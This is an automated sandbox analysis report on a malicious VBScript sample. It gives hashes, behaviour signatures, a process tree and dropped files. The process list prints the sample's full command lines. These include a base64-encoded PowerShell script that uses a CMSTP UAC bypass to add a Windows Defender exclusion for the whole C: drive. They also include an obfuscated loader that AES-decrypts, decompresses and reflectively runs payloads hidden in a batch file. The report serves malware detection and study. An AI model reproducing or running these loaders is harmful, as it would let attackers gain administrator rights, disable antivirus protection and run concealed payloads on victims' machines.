Analysis
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max time kernel
118s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20241010-en -
resource tags
arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system -
submitted
28-12-2024 01:31
Static task
static1
Behavioral task
behavioral1
Sample
output.script.vbs
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
output.script.vbs
Resource
win7-20241010-en
Behavioral task
behavioral3
Sample
output.script.vbs
Resource
win10v2004-20241007-en
Behavioral task
behavioral4
Sample
output.script.vbs
Resource
win10ltsc2021-20241211-en
General
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Target
output.script.vbs
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Size
203KB
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MD5
f340313af69ff225bf85f71c378fea27
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SHA1
d2fcf71d1859866d252a193f87e6b5d017c0ae45
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SHA256
57214b92aadf1f587a98a0d0eacaf47aae8516c18c5e96b7745e32b6c079a3d1
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SHA512
2dc362628b59743473c5a899f77af49020876e8236c521a63c5c92aef4553c1d003c96e684279353ab67a96245cade13bbe372b5f28183f306e4275d82c10f11
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SSDEEP
1536:abfH0Kj+S44//vsnrRBJZ/iJLerpid/jBCj48xvR5+DdmlZO:a7H0Kj+STnvsnVPZ/igrEOxvR5+xmlZO
Malware Config
Signatures
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Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
pid Process 2788 powershell.exe 364 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
pid Process 364 powershell.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2788 powershell.exe 364 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 2788 powershell.exe Token: SeDebugPrivilege 364 powershell.exe -
Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 2760 wrote to memory of 2788 2760 WScript.exe 30 PID 2760 wrote to memory of 2788 2760 WScript.exe 30 PID 2760 wrote to memory of 2788 2760 WScript.exe 30 PID 2760 wrote to memory of 1992 2760 WScript.exe 34 PID 2760 wrote to memory of 1992 2760 WScript.exe 34 PID 2760 wrote to memory of 1992 2760 WScript.exe 34 PID 1992 wrote to memory of 364 1992 cmd.exe 36 PID 1992 wrote to memory of 364 1992 cmd.exe 36 PID 1992 wrote to memory of 364 1992 cmd.exe 36 PID 1992 wrote to memory of 364 1992 cmd.exe 36
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\output.script.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:2760 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command Invoke-Expression ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gcmFuZG9tWFlaLUludm9rZS1VQUMgewoKCnBhcmFtKAogICAgW1BhcmFtZXRlcihNYW5kYXRvcnkgPSAkdHJ1ZSldCiAgICBbc3RyaW5nXSRyYW5kb21YWVpFeGVjdXRhYmxlLAogCiAgICBbUGFyYW1ldGVyKCldCiAgICBbc3RyaW5nXSRyYW5kb21YWVpDb21tYW5kCikKCiRyYW5kb21YWVpJbmZEYXRhID0gQCcKW3ZlcnNpb25dClNpZ25hdHVyZT0kY2hpY2FnbyQKQWR2YW5jZWRJTkY9Mi41CgpbRGVmYXVsdEluc3RhbGxdCkN1c3RvbURlc3RpbmF0aW9uPXJhbmRvbVhZWi1DdXN0SW5zdERlc3RTZWN0aW9uQWxsVXNlcnMKUnVuUHJlU2V0dXBDb21tYW5kcz1yYW5kb21YWVotUnVuUHJlU2V0dXBDb21tYW5kc1NlY3Rpb24KCltyYW5kb21YWVotUnVuUHJlU2V0dXBDb21tYW5kc1NlY3Rpb25dCkxJTkUKdGFza2tpbGwgL0lNIGNtc3RwLmV4ZSAvRgoKW3JhbmRvbVhZWi1DdXN0SW5zdERlc3RTZWN0aW9uQWxsVXNlcnNdCjQ5MDAwLDQ5MDAxPXJhbmRvbVhZWi1BbGxVU2VyX0xESURTZWN0aW9uLCA3CgpbcmFuZG9tWFlaLUFsbFVTZXJfTERJRFNlY3Rpb25dCiJIS0xNIiwgIlNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXEFwcCBQYXRoc1xDTU1HUjMyLkVYRSIsICJQcm9maWxlSW5zdGFsbFBhdGgiLCAiJVVuZXhwZWN0ZWRFcnJvciUiLCAiIgoKW1N0cmluZ3NdClNlcnZpY2VOYW1lPSJyYW5kb21YWVpWUE4iClNob3J0U3ZjTmFtZT0icmFuZG9tWFlaVlBOIgonQAoKJHJhbmRvbVhZWkNvZGUgPSBAIgp1c2luZyBTeXN0ZW07CnVzaW5nIFN5c3RlbS5UaHJlYWRpbmc7CnVzaW5nIFN5c3RlbS5UZXh0Owp1c2luZyBTeXN0ZW0uSU87CnVzaW5nIFN5c3RlbS5EaWFnbm9zdGljczsKdXNpbmcgU3lzdGVtLkNvbXBvbmVudE1vZGVsOwp1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7CgpwdWJsaWMgY2xhc3MgcmFuZG9tWFlaQ01TVFBCeXBhc3MKewogICAgW0RsbEltcG9ydCgiU2hlbGwzMi5kbGwiLCBDaGFyU2V0ID0gQ2hhclNldC5BdXRvLCBTZXRMYXN0RXJyb3IgPSB0cnVlKV0KICAgIHN0YXRpYyBleHRlcm4gSW50UHRyIFNoZWxsRXhlY3V0ZShJbnRQdHIgaHduZCwgc3RyaW5nIGxwT3BlcmF0aW9uLCBzdHJpbmcgbHBGaWxlLCBzdHJpbmcgbHBQYXJhbWV0ZXJzLCBzdHJpbmcgbHBEaXJlY3RvcnksIGludCBuU2hvd0NtZCk7CgogICAgW0RsbEltcG9ydCgidXNlcjMyLmRsbCIpXQogICAgc3RhdGljIGV4dGVybiBJbnRQdHIgRmluZFdpbmRvdyhzdHJpbmcgbHBDbGFzc05hbWUsIHN0cmluZyBscFdpbmRvd05hbWUpOwoKICAgIFtEbGxJbXBvcnQoInVzZXIzMi5kbGwiKV0KICAgIHN0YXRpYyBleHRlcm4gYm9vbCBQb3N0TWVzc2FnZShJbnRQdHIgaFduZCwgdWludCBNc2csIGludCB3UGFyYW0sIGludCBsUGFyYW0pOwoKICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nIEJpbmFyeVBhdGggPSAiYzpcXHdpbmRvd3NcXHN5c3RlbTMyXFxjbXN0cC5leGUiOwoKICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nIFNldEluZkZpbGUoc3RyaW5nIENvbW1hbmRUb0V4ZWN1dGUsIHN0cmluZyBJbmZEYXRhKQogICAgewogICAgICAgIFN0cmluZ0J1aWxkZXIgT3V0cHV0RmlsZSA9IG5ldyBTdHJpbmdCdWlsZGVyKCk7CiAgICAgICAgT3V0cHV0RmlsZS5BcHBlbmQoIkM6XFx3aW5kb3dzXFx0ZW1wIik7CiAgICAgICAgT3V0cHV0RmlsZS5BcHBlbmQoIlxcIik7CiAgICAgICAgT3V0cHV0RmlsZS5BcHBlbmQoUGF0aC5HZXRSYW5kb21GaWxlTmFtZSgpLlNwbGl0KENvbnZlcnQuVG9DaGFyKCIuIikpWzBdKTsKICAgICAgICBPdXRwdXRGaWxlLkFwcGVuZCgiLmluZiIpOwogICAgICAgIFN0cmluZ0J1aWxkZXIgbmV3SW5mRGF0YSA9IG5ldyBTdHJpbmdCdWlsZGVyKEluZkRhdGEpOwogICAgICAgIG5ld0luZkRhdGEuUmVwbGFjZSgiTElORSIsIENvbW1hbmRUb0V4ZWN1dGUpOwogICAgICAgIEZpbGUuV3JpdGVBbGxUZXh0KE91dHB1dEZpbGUuVG9TdHJpbmcoKSwgbmV3SW5mRGF0YS5Ub1N0cmluZygpKTsKICAgICAgICByZXR1cm4gT3V0cHV0RmlsZS5Ub1N0cmluZygpOwogICAgfQoKICAgIHB1YmxpYyBzdGF0aWMgYm9vbCByYW5kb21YWVpFeGVjdXRlKHN0cmluZyBDb21tYW5kVG9FeGVjdXRlLCBzdHJpbmcgSW5mRGF0YSkKICAgIHsKICAgICAgICBjb25zdCBpbnQgV01fU1lTS0VZRE9XTiA9IDB4MDEwMDsKICAgICAgICBjb25zdCBpbnQgVktfUkVUVVJOID0gMHgwRDsKCiAgICAgICAgU3RyaW5nQnVpbGRlciBJbmZGaWxlID0gbmV3IFN0cmluZ0J1aWxkZXIoKTsKICAgICAgICBJbmZGaWxlLkFwcGVuZChTZXRJbmZGaWxlKENvbW1hbmRUb0V4ZWN1dGUsIEluZkRhdGEpKTsKCiAgICAgICAgUHJvY2Vzc1N0YXJ0SW5mbyBzdGFydEluZm8gPSBuZXcgUHJvY2Vzc1N0YXJ0SW5mbyhCaW5hcnlQYXRoKTsKICAgICAgICBzdGFydEluZm8uQXJndW1lbnRzID0gIi9hdSAiICsgSW5mRmlsZS5Ub1N0cmluZygpOwogICAgICAgIHN0YXJ0SW5mby5XaW5kb3dTdHlsZSA9IFByb2Nlc3NXaW5kb3dTdHlsZS5IaWRkZW47ICAvLyBIaWRkZW4gd2luZG93CiAgICAgICAgSW50UHRyIGRwdHIgPSBNYXJzaGFsLkFsbG9jSEdsb2JhbCgxKTsKICAgICAgICBTaGVsbEV4ZWN1dGUoZHB0ciwgIiIsIEJpbmFyeVBhdGgsIHN0YXJ0SW5mby5Bcmd1bWVudHMsICIiLCAwKTsKCiAgICAgICAgVGhyZWFkLlNsZWVwKDMwMDApOwogICAgICAgIEludFB0ciBXaW5kb3dUb0ZpbmQgPSBGaW5kV2luZG93KG51bGwsICJyYW5kb21YWVpWUE4iKTsKCiAgICAgICAgUG9zdE1lc3NhZ2UoV2luZG93VG9GaW5kLCBXTV9TWVNLRVlET1dOLCBWS19SRVRVUk4sIDApOwogICAgICAgIFRocmVhZC5TbGVlcCg1MDAwKTsKICAgICAgICBGaWxlLkRlbGV0ZShJbmZGaWxlLlRvU3RyaW5nKCkpOwogICAgICAgIHJldHVybiB0cnVlOwogICAgfQp9CiJACgokcmFuZG9tWFlaQ29uc2VudFByb21wdCA9IChHZXQtSXRlbVByb3BlcnR5IEhLTE06XFNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFBvbGljaWVzXFN5c3RlbSkuQ29uc2VudFByb21wdEJlaGF2aW9yQWRtaW4KJHJhbmRvbVhZWlNlY3VyZURlc2t0b3BQcm9tcHQgPSAoR2V0LUl0ZW1Qcm9wZXJ0eSBIS0xNOlxTT0ZUV0FSRVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxQb2xpY2llc1xTeXN0ZW0pLlByb21wdE9uU2VjdXJlRGVza3RvcAppZiAoJHJhbmRvbVhZWkNvbnNlbnRQcm9tcHQgLUVxIDIgLWFuZCAkcmFuZG9tWFlaU2VjdXJlRGVza3RvcFByb21wdCAtRXEgMSkgewogICAgcmV0dXJuCn0KCnRyeSB7CiAgICAkcmFuZG9tWFlaVXNlciA9IFtTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eV06OkdldEN1cnJlbnQoKS5OYW1lCiAgICAkcmFuZG9tWFlaQWRtID0gR2V0LUxvY2FsR3JvdXBNZW1iZXIgLVNJRCBTLTEtNS0zMi01NDQgfCBXaGVyZS1PYmplY3QgeyAkXy5OYW1lIC1lcSAkcmFuZG9tWFlaVXNlciB9Cn0gY2F0Y2ggewogICAgJHJhbmRvbVhZWlVzZXIgPSBbU3lzdGVtLlNlY3VyaXR5LlByaW5jaXBhbC5XaW5kb3dzSWRlbnRpdHldOjpHZXRDdXJyZW50KCkuTmFtZQogICAgJHJhbmRvbVhZWkFkbWluR3JvdXBTSUQgPSAnUy0xLTUtMzItNTQ0JwogICAgJHJhbmRvbVhZWkFkbWluR3JvdXAgPSBHZXQtV21pT2JqZWN0IC1DbGFzcyBXaW4zMl9Hcm91cCB8IFdoZXJlLU9iamVjdCB7ICRfLlNJRCAtZXEgJHJhbmRvbVhZWkFkbWluR3JvdXBTSUQgfQogICAgJHJhbmRvbVhZWk1lbWJlcnMgPSAkcmFuZG9tWFlaQWRtaW5Hcm91cC5HZXRSZWxhdGVkKCJXaW4zMl9Vc2VyQWNjb3VudCIpCiAgICAkcmFuZG9tWFlaTWVtYmVycyB8IEZvckVhY2gtT2JqZWN0IHsgaWYgKCRfLkNhcHRpb24gLWVxICRyYW5kb21YWVpVc2VyKSB7ICRyYW5kb21YWVpBZG0gPSAkdHJ1ZSB9IH0KfQoKaWYgKCEkcmFuZG9tWFlaQWRtKSB7CiAgICByZXR1cm4KfQoKdHJ5IHsKICAgIGlmICghW1N5c3RlbS5JTy5GaWxlXTo6RXhpc3RzKCRyYW5kb21YWVpFeGVjdXRhYmxlKSkgewogICAgICAgICRyYW5kb21YWVpFeCA9IChHZXQtQ29tbWFuZCAkcmFuZG9tWFlaRXhlY3V0YWJsZSkKICAgICAgICBpZiAoIVtTeXN0ZW0uSU8uRmlsZV06OkV4aXN0cygkcmFuZG9tWFlaRXguU291cmNlKSkgewogICAgICAgICAgICAkcmFuZG9tWFlaRXhlY3V0YWJsZSA9ICRFeGVjdXRpb25Db250ZXh0LlNlc3Npb25TdGF0ZS5QYXRoLkdldFVucmVzb2x2ZWRQcm92aWRlclBhdGhGcm9tUFNQYXRoKCRyYW5kb21YWVpFeGVjdXRhYmxlKQogICAgICAgICAgICBpZiAoIVtTeXN0ZW0uSU8uRmlsZV06OkV4aXN0cygkcmFuZG9tWFlaRXhlY3V0YWJsZSkpIHsKICAgICAgICAgICAgICAgIHJldHVybgogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHJhbmRvbVhZWkV4ZWN1dGFibGUgPSAoR2V0LUNvbW1hbmQgJHJhbmRvbVhZWkV4ZWN1dGFibGUpLk5hbWUKICAgICAgICB9CiAgICB9Cn0gY2F0Y2ggewogICAgcmV0dXJuCn0KCmlmICgkcmFuZG9tWFlaRXhlY3V0YWJsZS5Db250YWlucygicG93ZXJzaGVsbCIpKSB7CiAgICBpZiAoJHJhbmRvbVhZWkNvbW1hbmQgLW5lICIiKSB7CiAgICAgICAgJHJhbmRvbVhZWkZpbmFsID0gInBvd2Vyc2hlbGwgLVdpbmRvd1N0eWxlIEhpZGRlbiAtYyAiIiRyYW5kb21YWVpDb21tYW5kIiIiCiAgICB9IGVsc2UgewogICAgICAgICRyYW5kb21YWVpGaW5hbCA9ICIkcmFuZG9tWFlaRXhlY3V0YWJsZSAkcmFuZG9tWFlaQ29tbWFuZCIKICAgIH0KfSBlbHNlaWYgKCRyYW5kb21YWVpFeGVjdXRhYmxlLkNvbnRhaW5zKCJjbWQiKSkgewogICAgaWYgKCRyYW5kb21YWVpDb21tYW5kIC1uZSAiIikgewogICAgICAgICRyYW5kb21YWVpGaW5hbCA9ICJjbWQgL2MgIiIkcmFuZG9tWFlaQ29tbWFuZCIiIiAgIyBDaGFuZ2VkIHRvIC9jIHRvIGNsb3NlIHRoZSBjbWQgd2luZG93CiAgICB9IGVsc2UgewogICAgICAgICRyYW5kb21YWVpGaW5hbCA9ICIkcmFuZG9tWFlaRXhlY3V0YWJsZSAkcmFuZG9tWFlaQ29tbWFuZCIKICAgIH0KfSBlbHNlIHsKICAgICRyYW5kb21YWVpGaW5hbCA9ICIkcmFuZG9tWFlaRXhlY3V0YWJsZSAkcmFuZG9tWFlaQ29tbWFuZCIKfQoKZnVuY3Rpb24gcmFuZG9tWFlaRXhlY3V0ZSB7CiAgICB0cnkgewogICAgICAgICRyYW5kb21YWVpSZXN1bHQgPSBbcmFuZG9tWFlaQ01TVFBCeXBhc3NdOjpyYW5kb21YWVpFeGVjdXRlKCRyYW5kb21YWVpGaW5hbCwgJHJhbmRvbVhZWkluZkRhdGEpCiAgICB9IGNhdGNoIHsKICAgICAgICBBZGQtVHlwZSAkcmFuZG9tWFlaQ29kZQogICAgICAgICRyYW5kb21YWVpSZXN1bHQgPSBbcmFuZG9tWFlaQ01TVFBCeXBhc3NdOjpyYW5kb21YWVpFeGVjdXRlKCRyYW5kb21YWVpGaW5hbCwgJHJhbmRvbVhZWkluZkRhdGEpCiAgICB9CgogICAgaWYgKCRyYW5kb21YWVpSZXN1bHQpIHsKICAgICAgICByZXR1cm4KICAgIH0gZWxzZSB7CiAgICAgICAgcmV0dXJuCiAgICB9Cn0KCiRyYW5kb21YWVpQcm9jZXNzID0gKChHZXQtV21pT2JqZWN0IC1DbGFzcyB3aW4zMl9wcm9jZXNzKS5uYW1lIHwgU2VsZWN0LVN0cmluZyAiY21zdHAiIHwgU2VsZWN0LU9iamVjdCAqIC1GaXJzdCAxKS5QYXR0ZXJuCmlmICgkcmFuZG9tWFlaUHJvY2VzcyAtZXEgImNtc3RwIikgewogICAgdHJ5IHsKICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgImNtc3RwIiAtRm9yY2UKICAgICAgICByYW5kb21YWVpFeGVjdXRlCiAgICB9IGNhdGNoIHsKICAgICAgICByZXR1cm4KICAgIH0KfSBlbHNlIHsKICAgIHJhbmRvbVhZWkV4ZWN1dGUKfQp9CgojIEZ1bmN0aW9uIENhbGwKcmFuZG9tWFlaLUludm9rZS1VQUMgLXJhbmRvbVhZWkV4ZWN1dGFibGUgInBvd2Vyc2hlbGwiIC1yYW5kb21YWVpDb21tYW5kICIuKCdBZGQtTXBQJyArICdyZWZlcmVuY2UnKSAtRXhjbHVzaW9uUGF0aCBDOlwgLUV4Y2x1c2lvblByb2Nlc3MgcG93ZXJzaGVsbC5leGUi')))2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2788
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C:\Windows\System32\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\c.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:1992 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ IEX '#EspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNK '.Replace('Espaco', ''); $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BBLnVF7z3DVjnvsB1k5kpdh8kfa4vHOk/FO+enioEoI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Zd7P/cUj7gNZ5KhnW9OVzA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ IEX '$RUQVz=New-Object System.IO.MOBFOBFUSCUDAemOBFOBFUSCUDAorOBFOBFUSCUDAySOBFOBFUSCUDAtrOBFOBFUSCUDAeaOBFOBFUSCUDAm(,$param_var);'.Replace('OBFOBFUSCUDA', ''); IEX '$YXhYf=New-Object System.IO.OBFOBFUSCUDAMOBFOBFUSCUDAeOBFOBFUSCUDAmOBFOBFUSCUDAoOBFOBFUSCUDArOBFOBFUSCUDAyOBFOBFUSCUDASOBFOBFUSCUDAtOBFOBFUSCUDArOBFOBFUSCUDAeOBFOBFUSCUDAaOBFOBFUSCUDAmOBFOBFUSCUDA;'.Replace('OBFOBFUSCUDA', ''); IEX '$Yhhyo=New-Object System.IO.COBFOBFUSCUDAomOBFOBFUSCUDAprOBFOBFUSCUDAeOBFOBFUSCUDAssOBFOBFUSCUDAioOBFOBFUSCUDAn.OBFOBFUSCUDAGZOBFOBFUSCUDAipOBFOBFUSCUDAStOBFOBFUSCUDAreOBFOBFUSCUDAamOBFOBFUSCUDA($RUQVz, [IO.COBFOBFUSCUDAomOBFOBFUSCUDAprOBFOBFUSCUDAesOBFOBFUSCUDAsiOBFOBFUSCUDAonOBFOBFUSCUDA.CoOBFOBFUSCUDAmpOBFOBFUSCUDAreOBFOBFUSCUDAssOBFOBFUSCUDAiOBFOBFUSCUDAoOBFOBFUSCUDAnOBFOBFUSCUDAMode]::DOBFOBFUSCUDAeOBFOBFUSCUDAcOBFOBFUSCUDAompOBFOBFUSCUDAreOBFOBFUSCUDAss);'.Replace('OBFOBFUSCUDA', ''); $Yhhyo.CopyTo($YXhYf); $Yhhyo.Dispose(); $RUQVz.Dispose(); $YXhYf.Dispose(); $YXhYf.ToArray();}function execute_function($param_var,$param2_var){ IEX '$eahdEJkayAenoyV=[System.ROBFOBFUSCUDAeOBFOBFUSCUDAflOBFOBFUSCUDAectOBFOBFUSCUDAioOBFOBFUSCUDAn.OBFOBFUSCUDAAsOBFOBFUSCUDAseOBFOBFUSCUDAmbOBFOBFUSCUDAlOBFOBFUSCUDAyOBFOBFUSCUDA]::LOBFOBFUSCUDAoOBFOBFUSCUDAaOBFOBFUSCUDAdOBFOBFUSCUDA([byte[]]$param_var);'.Replace('OBFOBFUSCUDA', ''); IEX '$hMbAoJlMzkQgGQVpcpfTvdYoMHTruuKIJcYmfHjESnISNCDjDkcYjFAeNNNHPUsfzixDSJkvfAbhvfAkdKNksMyeCUysTBPXVCsFfZrUaHSJDsIHnDEegiNNJtbXkSBELemSNUfdsTjKUPAklQeqXK=$eahdEJkayAenoyV.OBFOBFUSCUDAEOBFOBFUSCUDAnOBFOBFUSCUDAtOBFOBFUSCUDArOBFOBFUSCUDAyOBFOBFUSCUDAPOBFOBFUSCUDAoOBFOBFUSCUDAiOBFOBFUSCUDAnOBFOBFUSCUDAtOBFOBFUSCUDA;'.Replace('OBFOBFUSCUDA', ''); IEX '$hMbAoJlMzkQgGQVpcpfTvdYoMHTruuKIJcYmfHjESnISNCDjDkcYjFAeNNNHPUsfzixDSJkvfAbhvfAkdKNksMyeCUysTBPXVCsFfZrUaHSJDsIHnDEegiNNJtbXkSBELemSNUfdsTjKUPAklQeqXK.OBFOBFUSCUDAIOBFOBFUSCUDAnOBFOBFUSCUDAvOBFOBFUSCUDAoOBFOBFUSCUDAkOBFOBFUSCUDAeOBFOBFUSCUDA($null, $param2_var);'.Replace('OBFOBFUSCUDA', '');}$oa = 'C:\Users\Admin\AppData\Local\Temp\c.bat';$host.UI.RawUI.WindowTitle = $oa;$IwrsOUWgDc=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($oa).Split([Environment]::NewLine);foreach ($Zi in $IwrsOUWgDc) { if ($Zi.StartsWith(':: ')) { $H=$Zi.Substring(3); break; }}$payloads_var=[string[]]$H.Split('\');IEX '$payload1_var=decompress_function (decrypt_function ([OBFOBFUSCUDACOBFOBFUSCUDAoOBFOBFUSCUDAnOBFOBFUSCUDAvOBFOBFUSCUDAeOBFOBFUSCUDArt]::OBFOBFUSCUDAFOBFOBFUSCUDArOBFOBFUSCUDAoOBFOBFUSCUDAmOBFOBFUSCUDABOBFOBFUSCUDAaOBFOBFUSCUDAse6OBFOBFUSCUDA4OBFOBFUSCUDASOBFOBFUSCUDAtOBFOBFUSCUDAriOBFOBFUSCUDAnOBFOBFUSCUDAgOBFOBFUSCUDA($payloads_var[0])));'.Replace('OBFOBFUSCUDA', '');IEX '$payload2_var=decompress_function (decrypt_function ([OBFOBFUSCUDACOBFOBFUSCUDAoOBFOBFUSCUDAnOBFOBFUSCUDAvOBFOBFUSCUDAeOBFOBFUSCUDArOBFOBFUSCUDAt]::OBFOBFUSCUDAFOBFOBFUSCUDArOBFOBFUSCUDAoOBFOBFUSCUDAmOBFOBFUSCUDABOBFOBFUSCUDAaOBFOBFUSCUDAsOBFOBFUSCUDAeOBFOBFUSCUDA6OBFOBFUSCUDA4OBFOBFUSCUDASOBFOBFUSCUDAtrOBFOBFUSCUDAiOBFOBFUSCUDAnOBFOBFUSCUDAg($payloads_var[1])));'.Replace('OBFOBFUSCUDA', '');execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('OBFOBFUSCUDA'));3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:364
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
74KB
MD50ae4bed41f8239964bc71b053c71ee91
SHA151d2c6ef97cbb4578179aa20ee1e92dfe05a4415
SHA2563ce719ae7ae31df7dbae50fbdf77725b6071f09b67df645c5c50ba11aa2ed540
SHA51255a642ba1f7d1f02168c2aef098a3a8939fecbab8bc2ef5e8d2f5f42ec82bd99e1b0f7ed3d80f952a4f66cf33371c4b599be2bbaadeedaf107144967db22ba5f
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\QP391K2VMLOQ18RCW6CO.temp
Filesize7KB
MD55726a795d1c245489a5040a64e3ee1cc
SHA174883094b879381002634e681840b9ce09ac6950
SHA256713fd66e1d494c008761db9ef1f791f2456e438a98eaba57e5bf17479429905b
SHA5122498ca49e2260ebbe87e2dab796693e05905746095152d14442f1bb06ba8916bfe848e65c9a83cd32c5188511a7c54815672c4b679eecf4acc4c7fe989d84bc5